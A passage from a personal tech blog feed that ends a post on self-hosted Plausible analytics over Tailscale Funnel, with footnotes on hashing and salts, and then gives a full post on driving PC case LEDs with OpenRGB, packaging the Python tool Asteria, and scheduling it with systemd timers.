blog is captured by Plausible and Tailscale Funnel" class="centre"> </figure> <h2 id="future-improvements">Future improvements</h2> <p>With this setup, there's just one tiny unaesthetic detail that eats at me: that <code>treebeard.tailaf9b3.ts.net</code> domain is a little unsightly. I could set up my own subdomain to point to the same location (with a <a rel="external" href="https://en.wikipedia.org/wiki/CNAME_record">CNAME record</a>?), but that's not enough; the Funnel flow still won't work. If I understand correctly, I think this is because the ingress node checks the <a rel="external" href="https://en.wikipedia.org/wiki/Server_Name_Indication">SNI</a> when it accepts your TCP connection. Right now the ingress node doesn't have any knowledge of my simpsonian.ca subdomains, so presumably it drops any connection trying to access them. (Assuming that's right, maybe one day you'll be able to add these custom domains to your Tailscale account, then have that information propagated to the ingress nodes to allow for this sort of thing.)</p> <h2 id="conclusion">Conclusion</h2> <p>So I guess at this point I've come full circle: <code>treebeard</code> was on the internet, then I used Tailscale to <a href="https://simpsonian.ca/blog/securing-home-network-dnsmasq-tailscale/">lock it down</a>. Now I'm using Tailscale Funnel to put <code>treebeard</code> back <em>on</em> the internet, but just, y'know, a <em>little bit</em>. That's pretty cool—thanks, Tailscale. My hearty thanks also goes out to the team at <a rel="external" href="https://plausible.io/">Plausible</a> for building such an awesome tool, sharing it freely, and clearly documenting how it all works. Until next time, may you stand up and be counted.</p> <h2 id="addendum-2025-02-09">Addendum (2025-02-09)</h2> <p>After a year of modest but consistent traffic, in May 2024 the hits to this blog (as reported by Plausible) dropped to literal zero and never recovered. I figured that my pathetic readership had (understandably) finally had enough, but a little more digging revealed that my TLS certificate on <code>treebeard</code> had expired—whoops. I got it up and running again by enabling some Tailscale settings (MagicDNS in particular; I'm not sure what changed since I originally set this up) and rerunning <code>tailscale cert</code> on <code>treebeard</code>.</p> <hr> <div class="footnote-definition" id="hash-collision"><sup class="footnote-definition-label">1</sup> <p>Notice a problem here? We have <em>infinitely</em> many inputs (remember, those inputs can be as big as you like!), but only <em>finitely</em> many possible outputs. That guarantees that there's a pair of inputs somewhere out there that are different, but get mapped to the same output value by our hash function. When that happens, it's called a hash "collision"—any code that uses hash functions needs to be aware that such collisions will eventually occur. In the case of Plausible, we can just ignore these collisions, since the only downside is that two different users will only be counted once in total. (And to distinguish them, we'd need to hold on to the full input values, which is what we were trying to avoid in the first place.)</p> </div> <div class="footnote-definition" id="md5"><sup class="footnote-definition-label">2</sup> <p>MD5 has some security issues, and isn't suitable for use in cryptography, but it's fine for our simple examples. I generated these examples by running, e.g., <code>echo -n "1337_h4xx0R" | md5sum</code>.</p> </div> <div class="footnote-definition" id="cryptographic-hash-function"><sup class="footnote-definition-label">3</sup> <p>For simplicity, I'm intentionally being a bit imprecise with my language throughout here; it's probably more accurate to say that this is a property of <a rel="external" href="https://en.wikipedia.org/wiki/Cryptographic_hash_function"><em>cryptographic</em> hash functions</a>.</p> </div> <div class="footnote-definition" id="rainbow-table"><sup class="footnote-definition-label">4</sup> <p>If you've got the mind of a hacker, you might have noticed a clever attack. Although it's practically impossible to reverse the hash function, it's easy to use it in the usual way (i.e. turn inputs into outputs), and there aren't <em>that many</em> IPv4 addresses out there (just under four billion). So what if one day we just ran our hash function on every single possible IP address and recorded all those input, output pairs? For MD5, it would start like <code>0.0.0.0 -&gt; f1f17934834ae2613699701054ef9684</code>, <code>0.0.0.1 -&gt; 357244d0fa7fba3bfba07be39f368a22</code>, etc. It might take a little while to do that, but once we did, reversing the hash function is now trivial: for a given hashed IPv4 address, just look up that value in the right-hand side of our table, and the left-hand side is the original IPv4 address! This type of "lookup table for all possible hash values" is called a <a rel="external" href="https://en.wikipedia.org/wiki/Rainbow_table">rainbow table</a>. Plausible has a way to beat that too, though: every day they generate a random value called a "<a rel="external" href="https://en.wikipedia.org/wiki/Salt_(cryptography)">salt</a>" that gets included as an input to the hash function. For example, let's say today's salt is <code>a(%fT(uK0T</code>. An attacker might have a rainbow table for values like <code>0.0.0.0</code>, but it's vanishingly unlikely they have one for values like <code>a(%fT(uK0T0.0.0.0</code> (that's the same input, but with our salt stuck on the front). If the attacker found out the salt value, they could compute a new rainbow table for that salt—but since we generate a new salt every day, they'd be back to square one by tomorrow. This is also why Plausible can't distinguish between new and returning visitors: even if your IP address stays the same from one day to another (which is already far from guaranteed!), the addition of the daily random salt means that your hash value for today will be totally unrelated to yesterday's.</p> </div> 2023-03-11T00:00:00+00:00 2023-03-11T00:00:00+00:00 https://simpsonian.ca/blog/unleash-die-blinkenlights/ <p>When looking at PC cases for my most recent build, there were many adequate options, but only one stole my heart: the <a rel="external" href="https://web.archive.org/web/20221129012859/https://www.bequiet.com/en/case/1854/">be quiet! Pure Base 500DX</a>. Yes, it's bigger than I would've liked, and not the cheapest case either, but I was drawn to that understated front LED strip like a moth to flame—it offers all the fun of addressable LEDs, but without the whizbang gaudiness of three fans in rainbow mode 24/7.</p> <p>But of course, anybody can make LEDs look <em>beautiful</em>. This is a journey to make them <em>useful</em>.</p> <span id="continue-reading"></span><h2 id="the-goal">The Goal</h2> <p>Here's the idea: let's write some software so that just glancing at the front of the PC gives an overall impression of the system health (e.g., things like memory usage and CPU temperature). Like this!</p> <figure> <img src="/blog/unleash-die-blinkenlights/./asteria_example.jpg" alt="A photo of my PC case. The LEDs on the front represent different system metrics: GPU temperature, CPU temperature, and memory usage." class="centre"> <figcaption><p>Die Blinkenlights in action</p> </figcaption> </figure> <!-- TODO: set up automatic ToC support. Not as easy as you'd think; see the following: - https://github.com/getzola/zola/issues/584 - https://zola.discourse.group/t/choose-table-of-content-position/506/6 --> <div class="table-of-contents"> <!-- This really should have a "Contents" title as well... --> <ol> <li><a href="#part-1-controlling-the-leds-with-openrgb">Controlling the LEDs with OpenRGB</a></li> <li><a href="#part-2-packaging-our-python-code">Packaging our Python code</a></li> <li><a href="#part-3-daily-scheduling-with-systemd-services-timers">Daily scheduling with systemd</a></li> <li><a href="#bonus-controlling-it-all-from-my-phone">Bonus: controlling it all from my phone</a></li> </ol> </div> <h2 id="part-1-controlling-the-leds-with-openrgb">Part 1: controlling the LEDs with OpenRGB</h2> <p>First of all, how do we control these LEDs anyway? The usual answer is: for every device, simply download the manufacturer's proprietary, Windows-only, buggy, CPU-torturing application, then try to run them in parallel and cross your fingers. Needless to say, I do not consider this an acceptable solution. Fortunately, the kindly developers of <a rel="external" href="https://openrgb.org/">OpenRGB</a> are here to save us from that morass. OpenRGB is an open source, cross-platform program for controlling RGB devices of all kinds. It exposes a network protocol so that external applications can drive the LEDs, and also provides SDKs for multiple programming languages to make that communication easier.</p> <h3 id="using-the-openrgb-gui">Using the OpenRGB GUI</h3> <p>A good way to get acquainted with OpenRGB and its various concepts is to mess around in the GUI; for instance, I found out that although my motherboard exposes multiple "zones" of LEDs, <code>JRAINBOW1</code> is the one connected to my case lights (the others don't do anything). I also needed to inform OpenRGB how many physical LEDs there actually are in that zone<sup class="footnote-reference"><a href="#openrgb-size-persistence">1</a></sup>—14 in my case. There are probably better ways of figuring this out, but I just set the zone size to some improbably large number, then tried toggling individual LEDs; if adjusting the LED at index n doesn't cause any perceptable change, your zone has fewer than n LEDs. (If you have lots of LEDs, this is a nice use case for <a rel="external" href="https://en.wikipedia.org/wiki/Exponential_search">gallop search</a>!)</p> <h3 id="using-the-openrgb-sdk">Using the OpenRGB SDK</h3> <p>Clicking around in a GUI won't keep me satiated for long though; let's get this automated.</p> <p>Here's how I thought about decomposing this problem: we want to register some number of functions—let's call them "metrics"—that return some information about the system at a given point in time. We'll also want some generic ways to convert the raw value of a metric (e.g., "CPU temperature is 42°C") to a meaningful value for a LED (e.g., "RGB colour <code>#FF00FF</code>"). Finally, we'll need some kind of main loop that periodically polls the metrics and updates the LEDs accordingly.</p> <p>I've implemented this design in a little Python package I call <a rel="external" href="https://gitlab.com/JoshWVS/asteria">Asteria</a>. I won't belabour the code here, but just to connect it to our plan above:</p> <ul> <li> <p>In <a rel="external" href="https://gitlab.com/JoshWVS/asteria/-/blob/master/asteria/metrics.py"><code>metrics.py</code></a>, we define some functions that get system information by shelling out to well-known utilities (like the <code>sensors</code> and <code>free</code> commands—yeah, it's not cross-platform at the moment, sorry!)</p> </li> <li> <p><a rel="external" href="https://gitlab.com/JoshWVS/asteria/-/blob/master/asteria/instruments.py"><code>instruments.py</code></a> contains the different LED "effects" we support (such as gradually fading from one colour to another as the input value varies). Those effects expect their input values to be in "nice" ranges (e.g., [0, 1]); <a rel="external" href="https://gitlab.com/JoshWVS/asteria/-/blob/master/asteria/scales.py"><code>scales.py</code></a> offers some utilities to handle that for common mappings (e.g., "map 40 to 0, 90 to 1, and just use linear interpolation for any value in between")</p> </li> <li> <p><a rel="external" href="https://gitlab.com/JoshWVS/asteria/-/blob/master/asteria/driver.py"><code>driver.py</code></a> has two big responsibilities:</p> <ol> <li> <p>It parses the provided config file—designing this was a little more complicated than I expected! A user has one or more OpenRGB <em>devices</em>, which each have one or more OpenRGB <em>zones</em>, each of which can have zero or more Asteria instruments (each of which might need a metric, which might need a scale). That sounds messy, but it's actually fairly straightfoward to represent with TOML's <a rel="external" href="https://toml.io/en/v1.0.0#array-of-tables">array of tables</a> syntax, and I think the resulting <a rel="external" href="https://gitlab.com/JoshWVS/asteria/-/blob/master/sample_config.toml">config files</a> are relatively easy to follow too.</p> </li> <li> <p>It also provides the main event loop, where it polls the instruments and communicates with the OpenRGB server using the <a rel="external" href="https://pypi.org/project/openrgb-python/">Python SDK</a> (<a rel="external" href="https://openrgb-python.readthedocs.io/en/latest/">docs</a>).</p> </li> </ol> </li> </ul> <p>At this point, you could clone the Asteria repo and manually run it on your computer, were you so inclined. But of course, cloning git repos isn't the best way to distribute Python code…</p> <h2 id="part-2-packaging-our-python-code">Part 2: packaging our Python code</h2> <p>Python is a deceptive programming language: at first blush, it's so <em>simple</em>. So <em>inviting</em>, with its effortless syntax—<code>if needle in haystack</code>; why, it's practically just English! It welcomes you—no, <em>beckons</em> you with its "batteries included" standard library and cornucopia of other packages; "surely this will be the quickest way to bang out this project," you tell yourself, and while writing your module, you believe it.</p> <p>But then it comes time to package it.</p> <p>An innocuous web search—"how to create python package"—precipitates your rapid descent into madness. It's just <code>setup.py</code>, right? With <a rel="external" href="https://setuptools.pypa.io/en/latest/"><code>setuptools</code></a>? Uh… what do I actually put in <code>setup.py</code> again? Ah, who cares; those are showing their age anyways, everyone is using <a rel="external" href="https://python-poetry.org/"><code>poetry</code></a> these days. Or was it <a rel="external" href="https://hatch.pypa.io/latest/"><code>hatch</code></a>? <a rel="external" href="https://flit.pypa.io/en/latest/index.html"><code>flit</code></a>? …there's one just called <a rel="external" href="https://pypa-build.readthedocs.io/en/latest/"><code>build</code></a>? Whatever you do, definitely <em>don't</em> put your actual code <a rel="external" href="https://web.archive.org/web/20230303085628/https://docs.python-guide.org/writing/structure/#the-actual-module">in a <code>src</code> directory</a>. No wait, <a rel="external" href="https://web.archive.org/web/20221128084011/https://packaging.python.org/en/latest/discussions/src-layout-vs-flat-layout/">maybe</a> <a rel="external" href="https://web.archive.org/web/20230309024138/https://packaging.python.org/en/latest/tutorials/packaging-projects/#a-simple-project">do</a>?</p> <p>As you turn to the actual <em>format</em> of these packages, the technical jargon slowly becomes a dada free association exercise scheduled inconviently close to lunch: should you build <a rel="external" href="https://web.archive.org/web/20230308212516/https://docs.python.org/3/library/pickle.html">pickles</a>? <a rel="external" href="https://web.archive.org/web/20230306094302/https://packaging.python.org/en/latest/glossary/#term-Egg">eggs</a>? <a rel="external" href="https://web.archive.org/web/20230306094302/https://packaging.python.org/en/latest/glossary/#term-Wheel">wheels</a>?<sup class="footnote-reference"><a href="#wheel">2</a></sup></p> <p>This is almost too much for one man to bear.</p> <p>If you're writing Python in a work environment where deadlines are tight and the package audience is small, you might (reasonably) look for some shortcuts. The most galaxy-brain strategy I've seen is "just keep the module in a shared NFS directory and add that to your <code>PYTHONPATH</code>." There are… problems with this approach, but boy, is it ever easy to deploy your changes!</p> <p>But in this case, because Asteria is such revolutionary, life-changing software, I feel a sacred duty to share it with the world; this package simply must be published globally. For your collective sakes, I have confronted this overwhelming complexity, and, indeed, I have deftly untangled this Gordian Knot. Behold my solution:</p> <p>Just follow <a rel="external" href="https://packaging.python.org/en/latest/tutorials/packaging-projects/">this tutorial</a>.</p> <p>I have no further feelings on how you should lay out your package. I have no opinion as to which test runner or build tool you should use. My package <a rel="external" href="https://pypi.org/project/asteria-openrgb/">is on PyPI</a> and my soul is at peace. I have achieved moksha and truly embraced <a rel="external" href="https://peps.python.org/pep-0020/">The Zen of Python</a>.</p> <p>Okay, fine; theatrics aside, there are basically three steps to creating a Python package in 2023:</p> <ol> <li>Write a <code>pyproject.toml</code> file that describes your package's metadata.</li> <li>Using a build tool, convert your source code into distributable formats: ideally, both "sdist" and "wheel"<sup class="footnote-reference"><a href="#sdist-vs-wheel">3</a></sup> these days.</li> <li>Make your package available to others by uploading it to a repository (almost certainly PyPI).</li> </ol> <p>The aforementioned guide walks you through each step with concrete examples.</p> <p>There's one more thing that guide doesn't mention that may be of interest. If you're developing a command-line application, you probably want users to be able to invoke it by its name alone—i.e. by running <code>asteria</code>, not <code>python -m asteria</code>. To do that, you can either try reading <a rel="external" href="https://peps.python.org/pep-0621/#entry-points">PEP621</a> and the <a rel="external" href="https://packaging.python.org/en/latest/specifications/entry-points/">Entry points specification</a>, or you can just adapt this example for your own <a rel="external" href="https://gitlab.com/JoshWVS/asteria/-/blob/master/pyproject.toml"><code>pyproject.toml</code></a>:</p> <pre><code data-lang="toml">[project.scripts] # Left-hand side: the name of the command to create (in this case, `asteria`). # Right-hand side: the &quot;entry point&quot; to run for that command. # &quot;asteria.__main__:main&quot; means &quot;in module asteria&#39;s __main__.py, find the function `main()` and run it.&quot; asteria = &quot;asteria.__main__:main&quot; </code></pre> <p>Finally, if you're interested in learning more about Python packaging, here are a <a rel="external" href="https://web.archive.org/web/20230221112808/https://packaging.python.org/en/latest/overview/">few</a> <a rel="external" href="https://web.archive.org/web/20230310214051/https://stefanoborini.com/current-status-of-python-packaging/">good</a> <a rel="external" href="https://web.archive.org/web/20230310214207/https://dx13.co.uk/articles/2020/01/02/python-packaging-in-2020/">articles</a> I found to be helpful. Let us leave this place, enlightened, and never return.</p> <h3 id="installing-our-package">Installing our package</h3> <p>That brings us to the other side of the coin: now that we've published our package, we need to install it. Experienced Pythonistas know that this too can be a fraught experience; my old laptop is testament to the fact. Without constant discipline, it can become easy to lose track of what came from where: you can install packages from your system package manager (e.g., <code>sudo apt install python3-numpy</code>); you can blindly <code>[sudo] pip install</code> and let the files fall where they may; you can try to sequester your packages to various types of isolated environments—with say, <a rel="external" href="https://docs.conda.io/en/latest/">conda</a>, or <a rel="external" href="https://docs.python.org/3/library/venv.html">venv</a>—or, of course, you could do all of these at once and leave yourself an unholy mess. As I did.</p> <p>But no more! By way of repenting my sins, I now uphold these tenets:</p> <ol> <li> <p><strong>Keep the system Python<sup class="footnote-reference"><a href="#system-python">4</a></sup> minimal.</strong> If a Python application isn't a system package, and it depends on other Python packages, it should live in a self-contained virtual environment.</p> </li> <li> <p><strong>The system package manager manages the system; <code>pip</code> handles virtual environments.</strong> In other words, never run <code>pip install</code> outside of a virtual environment. Also, <code>pip</code> doesn't get to update itself. I must not be the only one with such proclivities, since <code>pip</code> offers some very helpful flags for such a setup. I've aliased <code>pip</code> so that I never forget to add them:</p> </li> </ol> <pre><code>$ type pip pip is aliased to `pip --require-virtualenv --disable-pip-version-check&#39; # from `man pip`: # --require-virtualenv # Allow pip to only run in a virtual environment; exit with an error otherwise. # # --disable-pip-version-check # Don&#39;t periodically check PyPI to determine whether a new version of pip is available for download. Implied # with --no-index. </code></pre> <p>Let's put this into practice and install Asteria:</p> <pre><code>$ cd ~/environments/ $ python -m venv asteria-test $ cd asteria-test/ $ pip install asteria-openrgb ERROR: Could not find an activated virtualenv (required). $ # whoops! forgot to &quot;activate&quot; the virtual environment first: $ . ./bin/activate (asteria-test) $ pip install asteria-openrgb Collecting asteria-openrgb Using cached asteria_openrgb-0.1.0-py3-none-any.whl (33 kB) Collecting openrgb-python&gt;0.2 Using cached openrgb_python-0.2.15-py3-none-any.whl (26 kB) Collecting tomli&gt;2 Using cached tomli-2.0.1-py3-none-any.whl (12 kB) Installing collected packages: tomli, openrgb-python, asteria-openrgb Successfully installed asteria-openrgb-0.1.0 openrgb-python-0.2.15 tomli-2.0.1 (asteria-test) $ asteria --help usage: asteria [-h] [--address ADDRESS] [--port PORT] config Asteria - a framework for driving an OpenRGB server positional arguments: config options: -h, --help show this help message and exit --address ADDRESS --port PORT </code></pre> <p>Voilà: we have a working, self-contained installation of Asteria, and we didn't create any distressing clutter along the way.</p> <h2 id="part-3-daily-scheduling-with-systemd-services-timers">Part 3: daily scheduling with systemd services &amp; timers</h2> <p>Now that we have our code packaged up and cleanly installed, it should be trivial to have it run between, say, 9am and 10pm, right?</p> <p>…right?</p> <h3 id="running-asteria-as-a-systemd-service">Running Asteria as a systemd service</h3> <p>Love it or hate it, <a rel="external" href="https://systemd.io/">systemd</a> is a fixture of many Linux distributions today, and my Arch setup is no exception. Although it (controversially) has many responsibilities, we'll focus on the most common: managing the services running on a machine. Our use case is pretty simple; we want to be able to run OpenRGB and Asteria in the background while the computer is running. Perhaps the simplest way to do so is to just open up a pair of terminals and run <code>openrgb --server</code> in one and <code>asteria config.toml</code> in the other. Indeed, that will work, but it's a bit of a pain: you'd need to do it manually every time you reboot, you have to remember the right flags/configs to pass, and it's not easy to monitor if something goes wrong. With systemd, we can instead write a "unit file" that describes <em>how</em> to run our service, then let systemd take care of the rest. systemd can handle dependencies between services, restart processes if they crash unexpectedly, and capture logs for later reference (see the <code>journalctl</code> command).</p> <p>The syntax for a basic service unit is pretty straightfoward. Here's an example from the <a rel="external" href="https://aur.archlinux.org/packages/openrgb">OpenRGB AUR package</a> (comments mine):</p> <pre><code>$ cat /usr/lib/systemd/system/openrgb.service [Unit] Description=Run openrgb server # Wait for these services to start before starting OpenRGB # (Technically this is just an _ordering_ dependency: # OpenRGB can run without those other services) After=network.target lm_sensors.service [Service] # Not sure why this is appropriate in this case ¯\_(ツ)_/¯ RemainAfterExit=yes # systemd will run this command to start our service (N.B.: absolute paths are required) ExecStart=/usr/bin/openrgb --server # If the process crashes, restart it automatically Restart=always [Install] # Basically, start this after the computer boots up # More details: https://web.archive.org/web/20230213180654/https://unix.stackexchange.com/questions/506347/why-do-most-systemd-examples-contain-wantedby-multi-user-target/506374#506374 WantedBy=multi-user.target </code></pre> <p>In my case, installing the AUR package already copied that unit file to the right place,<sup class="footnote-reference"><a href="#systemd-unit-locations">5</a></sup> so all that's required to start the service is <code>systemctl enable --now openrgb</code>.<sup class="footnote-reference"><a href="#enable-vs-start">6</a></sup> Sweet! Let's crib off of that example to create a unit file for Asteria:</p> <pre><code>$ cat ~/.config/systemd/user/asteria.service [Unit] Description=Framework to automatically control LEDs via OpenRGB # Similar to before, here we configure some dependencies. However, this time # we&#39;re stricter: Asteria cannot run unless OpenRGB is already running; # the &quot;BindsTo&quot; relationship expresses that. BindsTo=openrgb.service After=openrgb.service [Service] # `asteria` &quot;binary&quot; from the Python venv where we installed it ExecStart=/home/josh/environments/asteria/bin/asteria /home/josh/.config/asteria/config.toml # By default, systemd sends SIGTERM to stop processes--right now Asteria expects SIGINT # for a clean exit. I should fix that in Asteria, but let&#39;s just override that for now... KillSignal=SIGINT [Install] # Different target than before! Ignore for now; we&#39;ll get to it WantedBy=default.target </code></pre> <p>At this point, I hit a little snag. My previous usage of systemd had been for real "system" level services, like a webserver; ones that should start up as soon as the machine boots up, regardless of whether any users are logged in. That fits how I think about running OpenRGB (where we only want one instance of the process running no matter how many users there are), but Asteria feels more like a user-level process to me: conceivably, you could have your Asteria config, I could have mine, and the LEDs could match whoever is using the computer at the time. (Admittedly, it gets weird if both those users are logged on at the <em>same</em> time.) To support this, systemd offers <a rel="external" href="https://web.archive.org/web/20230303144306/https://wiki.archlinux.org/title/systemd/User">user units</a>—basically think of an entirely separate systemd instance running just for your user. Sounds good; we'll have OpenRGB be a "system" unit, and make Asteria a user unit…</p> <p>…except remember that part where I said "an entirely <em>separate</em> systemd instance?" Unfortunately, yes, that precludes user units from depending on system ones (or vice-versa). In this case, it's actually quite useful to have systemd manage the dependencies (since Asteria can't do anything without OpenRGB), so I opted to make my OpenRGB unit a user unit as well.<sup class="footnote-reference"><a href="#default.target">7</a></sup> Since this is my personal desktop, the difference is largely academic anyways.</p> <p>Those minor details aside, we have some working systemd units! We can kick off Asteria with <code>systemctl --user enable --now asteria.service</code>—note that since we're dealing with user units, we'll need that <code>--user</code> flag on every command. Configuring those dependencies correctly gets us some niceties too; e.g., if we try to stop OpenRGB, systemd knows to first stop Asteria. That actually matters in this case, because if Asteria doesn't terminate cleanly, it can't signal to OpenRGB to turn off the LEDs, so the LEDs will stay "stuck" in whatever their last colour was until you manually intervene somehow.</p> <h3 id="scheduling-with-systemd-timers">Scheduling with systemd timers</h3> <p>Now that we have working systemd units for our services, all we need to do is run them on a schedule. What I'd really like is for my LEDs to automatically turn on in the morning, and off at night. We'll just leave OpenRGB running 24/7, and two trivial cron jobs will allow us to start/stop Asteria at a set time daily (by invoking <code>systemctl --user [start|stop] asteria</code>). Let's add those and close out this blog post:</p> <pre><code>$ crontab -e -bash: crontab: command not found </code></pre> <p>What‽ I may be a mere greenbeard, and I know Arch is minimal by default, but isn't cron one of the venerable UNIX ur-utilities? <em>(Flips over to Arch wiki)</em> Okay, so apparently systemd does that too now. With <a rel="external" href="https://wiki.archlinux.org/title/Systemd/Timers">timers</a>. I <em>could</em> just install a cron and be done with this, but let's see this systemd adventure through—in for a PID 1, in for a PID <code>$(cat /proc/sys/kernel/pid_max)</code>, after all.</p> <p>So: earlier, we wrote two systemd <em>service</em> units, but there are other types of units too. As you can probably guess, <em>timers</em> are another such type. My neophyte understanding is that every service unit can have an associated timer unit;<sup class="footnote-reference"><a href="#service-timer-association">8</a></sup> if the timer unit exists, systemd will start the service based on the timer. (Recall that earlier we started/stopped services manually with <code>systemctl</code>.) We'll use a "realtime timer," which triggers at a specific time every day:</p> <pre><code>$ cat ~/dotfiles/galadriel/.config/systemd/user/asteria.timer [Unit] Description=Start Asteria every morning [Timer] # cron-ish syntax; explore with, e.g., `systemd-analyze calendar &#39;*-*-* 09:00:00&#39;` OnCalendar=*-*-* 09:00:00 # Run immediately if the last trigger was missed Persistent=True [Install] WantedBy=timers.target </code></pre> <p>Well, that wasn't so bad—our timer unit is definitely longer than a single crontab line, but it's not egregious. That covers <em>starting</em> our job, but uh, how do we <em>stop</em> it?</p> <figure> <img src="/blog/unleash-die-blinkenlights/./thats_the_neat_thing.png" alt="Animated character with the caption 'That's the neat thing: you don't'" class="centre"> </figure> <p>I was surprised to learn this, but it seems like systemd timers don't natively support the notion of a "stop time". <a rel="external" href="https://web.archive.org/web/20220923035301/https://www.reddit.com/r/systemd/comments/8xxjw2/how_to_stop_a_systemdservice_at_specific_times/">I've looked</a>, <a rel="external" href="https://web.archive.org/web/20220613110742/https://unix.stackexchange.com/questions/265704/start-stop-a-systemd-service-at-specific-times">I promise</a>! Based on those posts, it looks like there's three options for stopping your service:</p> <ol> <li>Suck it up and write a cron job that calls <code>systemctl stop</code>.</li> <li>Use systemd's <code>RuntimeMaxSec=</code> option if your service is only supposed to run for a certain length of time.</li> <li>Have a <em>second</em> service be responsible for stopping the first one.</li> </ol> <p>I've already ruled out 1). We probably could make option 2) work—starting at 9am and running for 13 hours * 60 minutes/hour * 60 seconds/minute = 46800 seconds brings us to 10pm—but that doesn't feel right to me either, so let's try 3). It'll even be a good excuse to explore a few last systemd unit options!</p> <p>So, how can our second service stop Asteria? Well, the most obvious way is just to have it run <code>systemctl --user stop asteria</code>. Since our "service" in this case is just a command that needs to run once and exit, we'll have to tell systemd that this is a <code>Type=oneshot</code> (so that it doesn't try to, e.g., "restart" our command after it runs). While that approach ought to work, let's showcase one final dependency-based solution instead:</p> <pre><code>$ cat ~/.config/systemd/user/asteria-shutdown.service [Unit] Description=Dummy service to shut down Asteria # This means &quot;we can&#39;t run together&quot;--if asteria-shutdown.service # starts, systemd will stop asteria.service! Conflicts=asteria.service [Service] # We don&#39;t actually care about the command; run a no-op Type=oneshot ExecStart=/usr/bin/true [Install] WantedBy=default.target $ cat ~/.config/systemd/user/asteria-shutdown.timer [Unit] Description=Stop Asteria every evening [Timer] # Start asteria-shutdown.service at 10pm daily OnCalendar=*-*-* 22:00:00 # Run immediately if the last trigger was missed Persistent=True [Install] WantedBy=timers.target </code></pre> <p>Together, these four unit files accomplish the daily schedule we were looking for:</p> <ol> <li>At 9am, <code>asteria.timer</code> triggers, causing systemd to start <code>asteria.service</code>.</li> <li>At 10pm, <code>asteria-shutdown.timer</code> triggers, causing systemd to start <code>asteria-shutdown.service</code>. That conflicts with <code>asteria.service</code>, so systemd stops <code>asteria.service</code>.</li> </ol> <p>This has been working well for me so far, but I definitely have mixed feelings about the systemd timers. It's nice that they fit in alongside the existing systemd architecture, and they have some advantages (like being able to easily run them manually with the ususal <code>systemctl --user start</code>), but the activation energy required to get started is much higher than a simple cron job. I'm especially surprised by the lack of a "stop time" setting—maybe this isn't a super common use case, but having to add a whole second service and timer feels a bit overly verbose to me.</p> <h2 id="bonus-controlling-it-all-from-my-phone">Bonus: controlling it all from my phone</h2> <p><a rel="external" href="https://kdeconnect.kde.org/">KDE Connect</a> is magic software for connecting your phone and PC (among many other things); if you haven't used it yet, you should definitely check it out! You can preregister commands that run on your PC and trigger them from another device—combined with its Android widget, I can trivially toggle my PC's LEDs from my phone:</p> <figure> <img src="/blog/unleash-die-blinkenlights/./kde_connect_widget.jpg" alt="A screenshot of the KDE Connect Android widget, showing my custom commands to start/stop Asteria" class="centre"> <figcaption><p>How did I send this screenshot to my PC? KDE Connect, obviously 😎</p> </figcaption> </figure> <h2 id="end-result">End Result</h2> <p>So there you have it: die Blinkenlights now offer a useful system overview at a glance.</p> <p>It took us a little while to get there, but I think that the investment will prove to be worth it: Python packages and systemd units are going to be around for a while yet, so it's worth spending some time to understand them a little more deeply.</p> <p>Until next time, may the LEDs guide your way, unless you're on an airplane.</p> <hr> <div class="footnote-definition" id="openrgb-size-persistence"><sup class="footnote-definition-label">1</sup> <p>It seems like OpenRGB can persist this information so that it doesn't need to prompt you for it every time, but I don't fully understand how it manages all this configuration data. Under <code>~/.config/OpenRGB</code>, there are a few files. <code>OpenRGB.json</code> (<a rel="external" href="https://openrgb-wiki.readthedocs.io/en/latest/OpenRGB-Settings/">documentation</a>) has some general settings, but I think zone sizes are stored in an OpenRGB "profile." The profiles themselves are binary, and don't seem to be well-documented, but if I run <code>xxd</code> on <code>~/.config/OpenRGB/default.orp</code> (which I created via the "Save Profile" button in the GUI), I can see a descriptively-named ASCII string for each LED (e.g., <code>JRAINBOW1 LED 1</code>). Curiously though, there's <em>also</em> a different file <code>sizes.ors</code> lying around, which I think was created automatically; just eyeballing <code>xxd</code> again, it looks similar to a profile file. Plus, when running OpenRGB under <code>strace</code>, I can see OpenRGB open both <code>default.orp</code> and <code>sizes.ors</code>. Oh yeah, and at one point, OpenRGB would immediately crash when I ran it, and moving that <code>sizes.ors</code> file fixed things again. (I think I might've corrupted it by accidentally running multiple instances of the OpenRGB server at the same time??) So, all things considered… I'm not sure exactly what's going on here, but if you want to save your zone sizes, you probably need a profile. 🤷</p> </div> <div class="footnote-definition" id="wheel"><sup class="footnote-definition-label">2</sup> <p>Apparently that's "wheel" as in "wheel of cheese," as in <a rel="external" href="https://en.wikipedia.org/wiki/Cheese_Shop_sketch">Cheese Shop sketch</a>, at least according to <a rel="external" href="https://web.archive.org/web/20230204043123/https://dustingram.com/talks/2018/10/23/inside-the-cheeseshop/">this presentation</a> by Python Packaging Working Group member Dustin Ingram.</p> </div> <div class="footnote-definition" id="sdist-vs-wheel"><sup class="footnote-definition-label">3</sup> <p>"sdist" is short for "source distribution." Think of a Python module that only uses the standard library: you could zip that into one file, copy it to another computer, unzip it, and use it on the second computer without <em>too much</em> fuss (you do need to make sure the Python versions are compatible, etc.). In this case, to share our Python <em>package</em>, it suffices to share the <em>source code</em> itself; that's (mostly) what an sdist is. Conversely, now consider the case where our Python module has a dependency on something written in C (e.g., some NumPy stuff)—just bundling those <code>.c</code> files with our other Python source code no longer yields a working Python package by itself; some other <em>build step</em> is required before you can use the package. (Here, presumably that build step is compiling the C code.) It can be tricky to get a working toolchain for those build steps, plus they can take a while, so it'd be annoying if every user of the package had to run them individually. The Wheel format helps avoid that problem: it's a "built distribution," which means that all of those build steps have already been run (for a particular target: think operating system, Python version, etc.)—basically, copy the wheel to the right location and you'll have a working Python package. That's why building and uploading a wheel of your package is so helpful: it can potentially save every user from have to run the build steps. (The best resource I've found to wrap my head around all these terms is the <a rel="external" href="https://packaging.python.org/en/latest/glossary/">PyPA Glossary</a>.)</p> </div> <div class="footnote-definition" id="system-python"><sup class="footnote-definition-label">4</sup> <p>By "system Python," I just mean the default Python that shipped with/is managed by your operating system and all the packages it sees in the default locations. Basically, "system Python" = "whatever gave you <code>/bin/python</code>." Likewise, "system package" = "any package you installed with your system's package manager" (not <code>pip</code>!).</p> </div> <div class="footnote-definition" id="systemd-unit-locations"><sup class="footnote-definition-label">5</sup> <p>I assume the correct location for systemd units depends on your distribution; on Arch <code>/usr/lib/systemd/system/</code> is for "units provided by installed packages," <code>/etc/systemd/system/</code> is "for units installed by the system administrator," and <code>~/.config/systemd/user/</code> is for user units (quoting from <a rel="external" href="https://web.archive.org/web/20230225181203/https://wiki.archlinux.org/title/systemd#Writing_unit_files">the</a> <a rel="external" href="https://web.archive.org/web/20230303144306/https://wiki.archlinux.org/title/systemd/User#How_it_works">wiki</a>).</p> </div> <div class="footnote-definition" 